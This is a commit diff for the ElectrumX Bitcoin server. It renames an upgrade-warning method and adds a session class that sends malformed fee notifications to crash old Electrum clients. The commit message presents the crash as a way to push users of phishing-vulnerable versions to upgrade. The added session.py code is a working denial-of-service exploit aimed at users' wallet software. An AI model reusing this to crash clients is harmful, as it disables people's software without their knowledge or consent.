crash old clients (#760)

* rename method "upgrade_required"

* attempt to crash old clients to force users to upgrade

On the BTC chain, exploit a DOS vulnerability in old Electrum clients,
to kill their network thread and make them unusable. This should force
users of old clients that are vulnerable to the transaction-broadcast
phishing attack to upgrade their client.

electrumx/lib/coins.py

@@ -47,7 +47,8 @@ import electrumx.lib.tx_dash as lib_tx_dash
 import electrumx.server.block_processor as block_proc
 import electrumx.server.daemon as daemon
 from electrumx.server.session import (ElectrumX, DashElectrumX,
-                                      SmartCashElectrumX, AuxPoWElectrumX)
+                                      SmartCashElectrumX, AuxPoWElectrumX,
+                                      BitcoinSegwitElectrumX)
 
 
 Block = namedtuple("Block", "raw header transactions")
@@ -268,7 +269,7 @@ class Coin(object):
         return h
 
     @classmethod
-    def upgrade_required(cls, client_ver):
+    def warn_old_client_on_tx_broadcast(cls, client_ver):
         return False
 
 
@@ -405,7 +406,7 @@ class BitcoinCash(BitcoinMixin, Coin):
     BLOCK_PROCESSOR = block_proc.LTORBlockProcessor
 
     @classmethod
-    def upgrade_required(cls, client_ver):
+    def warn_old_client_on_tx_broadcast(cls, client_ver):
         if client_ver < (3, 3, 4):
             return ('<br/><br/>'
                     'Your transaction was successfully broadcast.<br/><br/>'
@@ -419,6 +420,7 @@ class BitcoinCash(BitcoinMixin, Coin):
 class BitcoinSegwit(BitcoinMixin, Coin):
     NAME = "BitcoinSegwit"
     DESERIALIZER = lib_tx.DeserializerSegWit
+    SESSIONCLS = BitcoinSegwitElectrumX
     MEMPOOL_HISTOGRAM_REFRESH_SECS = 120
     TX_COUNT = 318337769
     TX_COUNT_HEIGHT = 524213
@@ -439,7 +441,7 @@ class BitcoinSegwit(BitcoinMixin, Coin):
     ]
 
     @classmethod
-    def upgrade_required(cls, client_ver):
+    def warn_old_client_on_tx_broadcast(cls, client_ver):
         if client_ver < (3, 3, 3):
             return ('<br/><br/>'
                     'Your transaction was successfully broadcast.<br/><br/>'
@@ -614,7 +616,7 @@ class BitcoinCashTestnet(BitcoinTestnetMixin, Coin):
     BLOCK_PROCESSOR = block_proc.LTORBlockProcessor
 
     @classmethod
-    def upgrade_required(cls, client_ver):
+    def warn_old_client_on_tx_broadcast(cls, client_ver):
         if client_ver < (3, 3, 4):
             return ('<br/><br/>'
                     'Your transaction was successfully broadcast.<br/><br/>'
@@ -638,6 +640,7 @@ class BitcoinSegwitTestnet(BitcoinTestnetMixin, Coin):
     '''Bitcoin Testnet for Core bitcoind >= 0.13.1.'''
     NAME = "BitcoinSegwit"
     DESERIALIZER = lib_tx.DeserializerSegWit
+    SESSIONCLS = BitcoinSegwitElectrumX
     PEERS = [
         'electrum.akinbo.org s t',
         'he36kyperp3kbuxu.onion s t',
@@ -649,7 +652,7 @@ class BitcoinSegwitTestnet(BitcoinTestnetMixin, Coin):
     ]
 
     @classmethod
-    def upgrade_required(cls, client_ver):
+    def warn_old_client_on_tx_broadcast(cls, client_ver):
         if client_ver < (3, 3, 3):
             return ('<br/><br/>'
                     'Your transaction was successfully broadcast.<br/><br/>'

electrumx/server/session.py

@@ -1119,6 +1119,7 @@ class ElectrumX(SessionBase):
         # that protocol version in unsupported.
         ptuple, client_min = util.protocol_version(
             protocol_version, self.PROTOCOL_MIN, self.PROTOCOL_MAX)
+        await self.maybe_attempt_to_crash_old_client(ptuple)
         if ptuple is None:
             if client_min > self.PROTOCOL_MIN:
                 self.logger.info(f'client requested future protocol version '
@@ -1131,6 +1132,9 @@ class ElectrumX(SessionBase):
 
         return (electrumx.version, self.protocol_version_string())
 
+    async def maybe_attempt_to_crash_old_client(self, proto_ver):
+        return
+
     async def transaction_broadcast(self, raw_tx):
         '''Broadcast a raw transaction to the network.
 
@@ -1148,7 +1152,7 @@ class ElectrumX(SessionBase):
             self.txs_sent += 1
             client_ver = util.protocol_tuple(self.client)
             if client_ver != (0, ):
-                msg = self.coin.upgrade_required(client_ver)
+                msg = self.coin.warn_old_client_on_tx_broadcast(client_ver)
                 if msg:
                     self.logger.info(f'sent tx: {hex_hash}. and warned user to upgrade their '
                                      f'client from {self.client}')
@@ -1555,3 +1559,17 @@ class AuxPoWElectrumX(ElectrumX):
             height += 1
 
         return headers.hex()
+
+
+class BitcoinSegwitElectrumX(ElectrumX):
+
+    async def maybe_attempt_to_crash_old_client(self, proto_ver):
+        client_ver = util.protocol_tuple(self.client)
+        is_old_protocol = proto_ver is None or proto_ver <= (1, 2)
+        is_old_client = client_ver != (0,) and client_ver < (3, 2, 4)
+        if is_old_protocol and is_old_client:
+            self.logger.info(f'attempting to crash old client with version {self.client}')
+            # this can crash electrum client 2.6 <= v < 3.1.2
+            await self.send_notification('blockchain.relayfee', ())
+            # this can crash electrum client (v < 2.8.2) UNION (3.0.0 <= v < 3.3.0)
+            await self.send_notification('blockchain.estimatefee', ())